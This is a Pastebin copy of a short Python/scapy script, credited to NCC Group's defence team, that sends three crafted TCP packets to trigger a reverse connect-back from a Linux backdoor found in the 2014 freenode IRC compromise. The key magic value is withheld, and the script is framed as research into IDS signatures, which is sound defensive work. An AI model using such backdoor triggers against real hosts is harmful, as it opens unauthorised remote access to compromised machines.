Advertisement
rfmonk

magic.py

Oct 27th, 2014
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.54 KB | None | 0 0
  1. #! /usr/bin/env python
  2. """
  3. see https://www.nccgroup.com/en/blog/2014/10/analysis-of-the-linux-backdoor-used-in-freenode-irc-network-compromise/
  4. omitted magic value
  5. """
  6. import random
  7. from scapy.all import IP,TCP,send
  8. import argparse
  9.  
  10. ########
  11. # Author: NCC Group, Cyber Defence Operations (CDO)
  12. #   Date: September 2014
  13. #
  14. # Sends three TCP packets with the correct header values to trigger
  15. # a connect back on the specified port.
  16. #
  17. # This script implements simple randomness for the "magic" header
  18. # values to demonstrate how difficult it would be to signature in IDS.
  19. ########
  20.  
  21. parser = argparse.ArgumentParser(description='Trigger the backdoor')
  22. parser.add_argument('TARGET_IP', metavar='TARGET_IP', type=str,
  23.                    help='IP to send magic packets to')
  24.  
  25. args = parser.parse_args()
  26.  
  27. # Target port can be any valid port.  iptables filtering does not apply
  28. # if it's in the normal INPUT chain.  This could be randomised per-packet.
  29. TARGET_PORT = 80
  30.  
  31. CALLBACK_PORT = 1234
  32.  
  33. for n in range(1, 4):
  34.     # To trigger backdoor the source port + sequence must add up to <Magic Value>
  35.     # Backdoor will connect to us on window - 8192
  36.     source_port = random.randint(1024, 2048)
  37.     sequence = <Magic Value> - source_port # Value not disclosed at this time
  38.     packet = IP(dst=args.TARGET_IP)/TCP(dport=TARGET_PORT,sport=source_port,seq=sequence,window=8192 + CALLBACK_PORT)
  39.  
  40.     print "[+] Sending magic packet {} of 3 to {}:{} (sport: {}, seq: {})".format(n, args.TARGET_IP, TARGET_PORT, source_port, sequence)
  41.     send(packet)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement